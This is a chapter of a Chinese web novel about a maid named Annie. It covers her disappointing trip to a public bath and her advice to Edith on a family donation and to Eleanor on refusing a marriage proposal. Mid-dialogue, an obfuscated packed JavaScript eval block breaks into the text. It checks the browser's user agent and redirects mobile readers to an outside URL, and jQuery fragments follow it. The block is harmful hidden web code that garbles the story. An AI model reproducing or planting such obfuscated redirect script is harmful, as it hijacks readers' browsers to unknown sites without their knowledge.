难得的半天假期。


    安妮计划去公共浴室，彻底清洗和放松一下。就像前世自己累了，就会带一本书去汤泉呆一天，做做水疗，泡泡澡，什么都不想。如果再约上几个姐妹，还能在里面一边吃水果切，一边玩牌，一边聊天。比任何旅行或娱乐活动，都更能让她放松。


    「公共浴室？」


    当安妮在早餐后，悄悄将这个提议告诉露西时，露西正费力地啃着一块面包，脸上写满了诧异，「安妮，你疯了吗？」她压低了声音，仿佛在说一件极其奢侈又略带羞耻的事情，「五美分！就为了洗一次澡？」


    「露西，想一想。」安妮打算最后做一次邀请尝试，如果露西实在不愿意，就自己一个人去，「我听说公共浴室很大，不像我们阁楼的小隔间，而且它有热水，有很多水，可以真正地把自己洗干净。像个淑女一样香喷喷的。」


    她的语言像在诱惑贪嘴的小孩。她的鼻尖，隐隐浮现埃莉诺和米芙身上淡淡的香味。


    露西看着安妮眼中闪烁的、近乎祈求的光芒，又想起自己后颈时常洗不净的污垢，犹豫了一下，最终还是被那份对「淑女」的微弱憧憬打败了，叹了口气：「好吧，好吧，陪你去。但愿那五个美分花得值。」


    和梅布尔太太告了假，离开布鲁克公馆。两个年轻的女仆怀着一种近乎朝圣的心情，走向了位于城市边缘地带的公共浴室。


    她们一路打听，终于走到了目的地。


    公共浴室的建筑比她们想象的要简陋许多，一座低矮的红砖砌成的房子，墙面布满斑驳的水渍。门口没有任何醒目的标识，只有一个褪色的、画着一个模糊浴缸图案的木牌歪斜地挂着。


    排队的人群从门内一直蜿蜒到街角，大多是些衣衫褴褛的工人、面色疲惫的主妇，还有几个紧紧抓着母亲衣角、脸上脏兮兮的小孩。


    男人们随意许多，有些甚至就在不远处的水井边，直接用桶打上冷水，粗鲁地冲洗着上身，引来路人不经意的一瞥。安妮和露西下意识地低下头，拉了拉自己朴素的头巾和围裙，混入了女性队列中。


    队伍移动得很慢。空气中弥漫着湿热的蒸汽，以及一种类似漂白粉的刺鼻味道，并不好闻，甚至有些闷得人头晕。安妮原本期待的、热水带来的洁净芬芳，已经被眼前现实浇灭，她现在只希望浴室里面干净一些。


    好不容易挪到门口，一个面色阴沉、体型壮硕的妇人坐在一张高脚凳上，粗声粗气地收取费用。「每人五分！快点！」


    安妮和露西紧张地递过硬币，妇人看也不看，随手将硬币扔进一个油腻的木盒里，然后扔给她们两小块看起来比布鲁克公馆用的还要劣质的硬皂，和两条薄得几乎透光、边缘已经磨损起毛的粗布毛巾。


    「进去！左边女部！别磨蹭！」妇人不耐烦地驱赶。


    推开吱呀作响、漆皮剥落的木门，一股混杂着体味的热浪扑面而来，几乎让安妮晕厥。彷佛又回到了跨大西洋移民船的底舱。她想象中的独立隔间、洁净的浴盆，在这里彻底化为泡影。


    眼前是一个巨大而空旷的房间，墙壁和地面都铺着布满裂纹和污渍的瓷砖。屋顶很高，悬挂着几盏昏黄的气灯，在水汽中投下摇曳不定的光影。整个空间没有任何遮挡，完全是一个大通间。


    房间中央是一个巨大的、看起来像是水泥砌成的方形池子，里面是浑浊不堪、泛着灰白色泡沫的热水。几十个赤身裸体的女人，就挤在这个池子里，或者坐在池边，用水瓢从池中舀水往身上浇。


    水面上，漂浮着一些看不清来源的杂质，甚至偶尔能看到一缕缕纠缠的发丝。空气里充斥着哗啦啦的水声、咳嗽声、孩子们的哭闹声、女人们高声的闲聊和抱怨，嘈杂得如同市集。安妮甚至看到一个女人正在用力搓洗着满是泥垢的脚底板，搓下来的污垢就那样消失在浑浊的水中。


    这……这就是她期待已久的、能带来真正清洁的公共浴室？


    露西也惊呆了，她紧紧抓住安妮的手臂，声音带着颤抖：「安妮……这水……这比小阁楼那盆水还要……」她没再说下去，但眼神里写满了惊恐和后悔。


    安妮看着那池「汤」，看着周围那些似乎已经习以为常、自在地洗浴着的女人们。一时说不出话来。


    她花费了5美分，消耗了半天假期，怀抱着巨大的期待来到这里，得到的却是这样一个出乎意料、甚至比布鲁克公馆那个小隔间更让人绝望的答案。


    「我们……还洗吗？」露西怯生生地问，手里那块灰暗的肥皂仿佛烫手山芋。


    「洗。」安妮咬了咬下唇，声音里带着一丝决绝，「钱已经花了。」


    她脱下衣服，动作迟缓而僵硬，感觉不到丝毫放松，只有一种将自己投入未知风险的悲壮和无奈。温热的水包裹住她冰冷的身体，带来的不是舒适，而是一种难以言喻的黏腻感和心理上的强烈不适。


    她拿起那块劣质肥皂，用力地、几乎是带着一种愤怒地，开始搓洗自己的身体。


    /


    安妮和露西从公共浴室回来，两人都垂着头。


    她们不像刚刚结束半天假期的放松，倒像是逃离了一个危险的场所，急切地想要回到一个熟悉安全的环境中去。布鲁克公馆那扇后门，此刻在她们眼中，竟带着一丝奇怪的的慰藉。


    安妮用冷水拍了拍脸，拿起一块软布开始擦铜壶。


    露西在一旁无精打采地整理着围裙，嘟囔着：“再也不去了……那五分钱，还不如买条新毛巾。”安妮没有接话，只是更用力地擦着壶身。


    这时候，埃莉诺站到了仆从大厅入口。向安妮招招手，示意安妮跟她过去。


    安妮放下手中的活儿，跟露西说了声「我去去就来。」随后便跟着埃莉诺上了楼。


    在楼道里，埃莉诺告诉安妮，「我姑妈遇到了点小麻烦，或许我们能一起帮她出出注意。」


    不用说，埃莉诺说的这位遇到小麻烦的姑妈是伊迪丝小姐。毕竟，玛蒂尔达夫人看起来不像是会问别人拿主意的人，她就是主意本身。


    她们来到了伊迪丝小姐的卧房门口。她正坐在梳妆台前，手里拿着一张纸，见到她们进来，轻轻叹了口气。


    「埃莉诺，你还是把安妮找来了。」她将那张纸放在台面上，「安妮，不是什么大事，只是恐怕又要听玛蒂尔达唠叨而已。」


    安妮看到那是一张给女子学校的捐赠信，落款写着计划捐赠金额，五千美元。


    伊迪丝用手指点了点那个数字，语气有些无奈：「我用自己的钱支持女子教育，这很好，不是吗？可我姐姐那个人，你们知道的。她若知道了，必定会说我被教堂的钟声敲昏了头，做自家人没有落到一分好处的事儿，或者嘲笑我在模仿希尔达·范德比尔特那种浮夸的慈善。」


    埃莉诺拿起捐赠信，递给安妮看：「姑妈，您的初衷是好的。只是，或许我们需要让这件事听起来……更符合玛蒂尔达姑妈的喜好？」


    安妮看着信纸，沉思片刻，然后谨慎地开口：「伊迪丝小姐，请允许我冒昧地问一句，对您而言，是让外界知道是‘伊迪丝·布鲁克’个人捐了这笔钱更重要，还是确保这笔钱能实实在在地帮助到那些渴望读书的女孩更重要？」


    伊迪丝微微一愣，随即露出了然的微笑。「安妮，你说到关键了。」她语气温和而坚定，「圣经教导我们，『你施舍的时候，不要叫左手知道右手所做的。』我岂会在意那点虚名？我只是希望这笔钱能真正派上用场，帮助她们获得知识。」


    「既然如此，」安妮向前半步，声音带着鼓励的意味，「我们何不将这份善意，转化为玛蒂尔达夫人也无法拒绝的‘体面’？我们可以说，这是‘布鲁克家族’对女子教育的支持。尤其要强调，这与范德比尔特夫人只说不做的风格完全不同，我们更注重实际效果，比如用这笔钱购置切实需要的书籍。」


    埃莉诺立刻表示赞同：「这个说法太好了！通过指定捐款用途，强调我们与那些新贵的不同，做事实在。」


    伊迪丝想了想，眉头渐渐舒展开来。「确实是个好主意。」她拿起笔，在一张新的信纸上流畅地书写起来，「就这么写：布鲁克家族教育慈善款，指定用于书籍购置，购置前需呈列书目清单。这样一来，钱能用到实处，玛蒂尔达也无从挑剔，反而可能觉得这事办得漂亮。」


    她们刚商量妥当，门外就响起了玛蒂尔达夫人的声音：「伊迪丝，你在里面吗？」


    伊迪丝迅速将原来那张捐赠信收进抽屉，把新写好的拿在手中，神情已经恢复了平日的内敛，她坐直身体，清了清嗓子，「咳。请进，玛蒂尔达。」


    玛蒂尔达夫人走了进来，目光扫过房间里的三人，最后落在伊迪丝手中的纸上。「哟，伊迪丝你房间够热闹。」


    「你找我什么事，玛蒂尔达。」


    「你的亲亲乖乖，小宝贝，墨西哥，又在我卧房门口拉尿了！我来就是通知你一声！」谁都看得出来，玛蒂尔达夫人并不怎么生气，就是拿这事儿拿捏一下妹妹伊迪丝。


    伊迪丝确实尴尬了一瞬。然后，她像是突然想起来一样，微笑着将那张信纸递过去，「正说起一件能给家里增光的事。我打算以家族的名义，为瓦萨学院购置一批书籍。姐姐你看，希尔达·范德比尔特上个月喊得响亮，却不见行动。我们布鲁克家要支持，就支持在实处。」


    玛蒂尔达夫人接过纸，仔细看着。「用你自己的钱？」她抬眼问道，语气里带着质疑。


    「钱不是问题，重要的是方式和名目。」伊迪丝语气平和，「用我的钱，对外只说是布鲁克家支持女子教育。而且我们指明这笔钱的用途。这样既显得我们开明，又实实在在做成了事，岂不比空谈体面得多？」


    玛蒂尔达夫人沉吟片刻，指尖轻轻敲着信纸。


    「嗯，」她最终开口，语气缓和不少，「想法还算周到。既然是为家族声誉考虑，那就按你说的办吧。去找施耐德，把这笔账走公账，务必处理得体。」


    「不必走公账，这是我自愿的。」伊迪丝坚持。


    玛蒂尔达夫人不予理会，往门外走。临出门，她还不忘回头，扫了房中三人一眼，那眼神彷佛是说，我早就看穿了你们的密谋。「伊迪丝，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479264|184715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    或许你可以省点钱，为你的小狗请个家庭教师。」


    房门关上后，伊迪丝对安妮和埃莉诺露出了一个无奈的笑容。


    「哎，看吧，我就说只是个小麻烦。多谢你们的主意，让这件事顺利解决。」


    安妮微微屈膝，心里也为伊迪丝小姐感到高兴。


    /


    就在这时，小狗墨西哥，叼着一个小皮球，摇着尾巴进来了。


    伊迪丝责备道，「你这个小坏蛋，怎么就爱挑玛蒂尔达的门口尿尿呢？」语气里却是宠溺。


    埃莉诺弯腰摸了摸墨西哥的头，却没有像往常一样接过球逗它。她犹豫了一下，从裙子侧面的口袋里取出一张折叠整齐的信纸。


    「姑妈，您的麻烦解决了，」埃莉诺轻声说，「可我这里……也收到了一点让人为难的东西。」


    伊迪丝关切地问：「是什么，亲爱的？」


    埃莉诺将信纸展开。「是汤姆·瑞克斯先生派人送来的。」她的声音里带着明显的为难，「一封……求婚信。」


    安妮看到埃莉诺小姐蹙起的眉头无法解开，看来这件事已经在她心头压了很久了。她一直在等着个机会开口，向人寻求帮助。


    伊迪丝接过信快速浏览了一遍，表情也变得有些微妙。「哦，这用词……确实过于热情了。瑞克斯先生实在是……实在是……」最终，她也没有评价汤姆·瑞克斯的为人，只是将信递还给埃莉诺，「你是怎么想的？」


    「我……我不知道该怎么回应。」埃莉诺叹了口气，「我并不喜欢瑞克斯先生，但我如果直接拒绝，怕会伤了他的自尊。他一直表现得……非常坚持。」


    埃莉诺转向安妮，「安妮，你如果愿意，也可以看看。」


    安妮双手接过埃莉诺递来的信纸。


    用金箔压边装饰的昂贵纸张上，书写着工整的字迹，一看就知道是请人代写的。辞藻华丽，犹如瑞克斯先生的诗歌。行文间，句句是爱，却处处没有埃莉诺小姐这个人，满是对婚后生活的憧憬，但好像换谁也行。初读下来，让人起了一身不适的鸡皮疙瘩。


    果然是瑞克斯先生啊！


    安妮很快读完信。抬眼看到埃莉诺和伊迪丝投来的询问眼神。都在等着听她的看法。


    安妮突然有了点压力。她清了清嗓子，「埃莉诺小姐，请原谅我多嘴，您认为，瑞克斯先生写这封信时，更多地是在考虑您的感受，还是沉浸在他自己设定的某种……想象里呢？」


    埃莉诺没有接话，示意她继续说下去。


    安妮继续分析：「一封真正为对方考虑的信，不会让收信人感到如此为难和负担。它的用词或许热烈，但更像是在陈述他自己的决心和幻想，而非询问您的意愿。这听起来更像是一厢情愿的自我感动，他似乎并未真正思考过，这是否是您所需要的。」


    埃莉诺点头，显然安妮和她想的一样。墨西哥在她脚边发出呜呜的声音，仿佛在附和。


    「安妮说得对，」伊迪丝点头，「爱情是神圣的，它不能是一个人的意志。感情若不能建立在两个人相互尊重之上，一方的执着只会成为另一方的枷锁。」


    「可，如果我拒绝，汤姆·瑞克斯先生会不会……」


    安妮想：在前世，埃莉诺这样的女孩恐怕不仅不会获得同情，还会被人骂自作自受。因为善意，不忍拒绝，还总是习惯性的精神内耗，不就是等着自己吞下苦果吗。但在这个时代生活久了，安妮明白，这就是时代要求淑女们的行为规范。无时无刻不从自己身上找原因，唯恐将过错推到绅士身上，反省自身才是美德。她们单凭自己的努力，很难突破这层思想上的辖制。


    安妮想起了一句话，她说：「我听过一句话……你的一生可能都活在别人的讲述中。他们的声音铿锵有力，专制而绝对。但你从未意识到的是，你的声音也可以与他们的一样有力。」


    伊迪丝回头看了眼埃莉诺，看到侄女快要湿润的眼泪。立马抓住她的手，给予宽慰和力量。


    过了一会儿。埃莉诺的眼神逐渐变得坚定，她轻轻将那张信纸对折，「我明白了，我不该因为害怕伤害他的幻想而委屈自己。我有权利说出自己的真切感受。一份明确的拒绝，虽然当下可能让他失落，但远比含糊其辞、让他心存不切实际的希望要仁慈得多。」


    她走到书桌旁，重新铺开一张信纸，蘸了墨水。「姑妈，我恐怕得借用你的书桌了。我现在就写回信，礼貌但清晰地表明我的态度。」


    很快，埃莉诺将写好的回信装入信封，封好火漆。


    她没有给伊迪丝小姐和安妮看具体的内容。两人也默契地没有上前查看。但从她书写时坚定的目光来看，她只不过把自己早就想说的话一气呵成地写了下来。她不是没有想法，她只是希望得到支持。


    最后，她拿着信，脸上露出一丝迟疑，似乎对于如何送达仍有些顾虑。


    「小姐，」安妮适时开口，伸出手，「我可以找靠谱的人将信送过去，并且把你的决定明确告诉对方。」


    埃莉诺明显松了一口气，将信交给安妮。「谢谢你，安妮。」